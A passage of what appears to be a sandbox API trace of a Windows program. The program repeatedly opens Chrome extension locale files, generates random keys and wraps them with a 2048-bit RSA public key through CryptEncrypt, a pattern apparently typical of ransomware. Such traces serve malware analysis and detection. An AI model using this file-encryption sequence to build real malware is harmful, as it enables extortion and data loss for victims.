Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.786] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.789] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.791] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.791] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.791] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.791] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0238.794] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.795] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.795] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.795] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.795] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0238.798] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2e38) returned 1 [0238.798] CryptGetKeyParam (in: hKey=0x66b2e38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.798] CryptEncrypt (in: hKey=0x66b2e38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9c20000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9c20000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.798] GetLastError () returned 0x0 [0238.798] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.798] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0238.800] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2e78) returned 1 [0238.800] CryptGetKeyParam (in: hKey=0x66b2e78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.800] CryptEncrypt (in: hKey=0x66b2e78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9c30000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9c30000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.800] GetLastError () returned 0x0 [0238.800] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.800] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.801] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.804] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.806] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.806] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.806] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.806] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.810] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.812] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.813] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.813] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.813] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0238.815] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2eb8) returned 1 [0238.815] CryptGetKeyParam (in: hKey=0x66b2eb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.815] CryptEncrypt (in: hKey=0x66b2eb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9c40000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9c40000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.816] GetLastError () returned 0x0 [0238.816] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.816] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.817] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3038) returned 1 [0238.817] CryptGetKeyParam (in: hKey=0x66b3038, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.817] CryptEncrypt (in: hKey=0x66b3038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9c50000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9c50000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.818] GetLastError () returned 0x0 [0238.818] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.818] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.818] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.821] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.823] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.823] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.823] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.823] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0238.825] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.826] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.826] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.826] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.827] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.829] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b29f8) returned 1 [0238.829] CryptGetKeyParam (in: hKey=0x66b29f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.829] CryptEncrypt (in: hKey=0x66b29f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9c60000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9c60000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.829] GetLastError () returned 0x0 [0238.829] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.829] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.831] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2ab8) returned 1 [0238.831] CryptGetKeyParam (in: hKey=0x66b2ab8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.831] CryptEncrypt (in: hKey=0x66b2ab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9c70000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9c70000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.831] GetLastError () returned 0x0 [0238.831] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.831] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.832] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.834] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.836] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.839] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.839] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.839] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.841] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.843] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.843] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.843] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.843] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.845] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b30f8) returned 1 [0238.845] CryptGetKeyParam (in: hKey=0x66b30f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.845] CryptEncrypt (in: hKey=0x66b30f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9c80000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9c80000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.845] GetLastError () returned 0x0 [0238.845] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.845] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0238.847] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b37b8) returned 1 [0238.847] CryptGetKeyParam (in: hKey=0x66b37b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.847] CryptEncrypt (in: hKey=0x66b37b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9c90000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9c90000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.847] GetLastError () returned 0x0 [0238.847] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.847] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.848] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.850] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.852] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.852] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.852] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.852] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.854] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.856] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.856] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.856] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.856] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0238.858] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b35f8) returned 1 [0238.858] CryptGetKeyParam (in: hKey=0x66b35f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.858] CryptEncrypt (in: hKey=0x66b35f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9ca0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9ca0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.858] GetLastError () returned 0x0 [0238.858] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.858] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0238.860] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3638) returned 1 [0238.860] CryptGetKeyParam (in: hKey=0x66b3638, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.860] CryptEncrypt (in: hKey=0x66b3638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9cb0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9cb0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.861] GetLastError () returned 0x0 [0238.861] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.861] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.862] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0238.864] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.866] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.866] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.866] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.866] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0238.868] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.870] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.870] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.870] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.870] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0238.872] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3738) returned 1 [0238.872] CryptGetKeyParam (in: hKey=0x66b3738, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.872] CryptEncrypt (in: hKey=0x66b3738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9cc0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9cc0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.872] GetLastError () returned 0x0 [0238.872] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.872] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.874] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3138) returned 1 [0238.874] CryptGetKeyParam (in: hKey=0x66b3138, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.874] CryptEncrypt (in: hKey=0x66b3138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9cd0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9cd0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.874] GetLastError () returned 0x0 [0238.874] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.874] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.875] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0238.877] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.878] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.878] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.878] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.879] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.880] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.882] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.882] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.882] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.882] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.885] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3378) returned 1 [0238.885] CryptGetKeyParam (in: hKey=0x66b3378, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.885] CryptEncrypt (in: hKey=0x66b3378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9ce0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9ce0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.885] GetLastError () returned 0x0 [0238.885] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.885] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.887] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b32b8) returned 1 [0238.887] CryptGetKeyParam (in: hKey=0x66b32b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.887] CryptEncrypt (in: hKey=0x66b32b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9cf0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9cf0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.887] GetLastError () returned 0x0 [0238.887] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.887] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 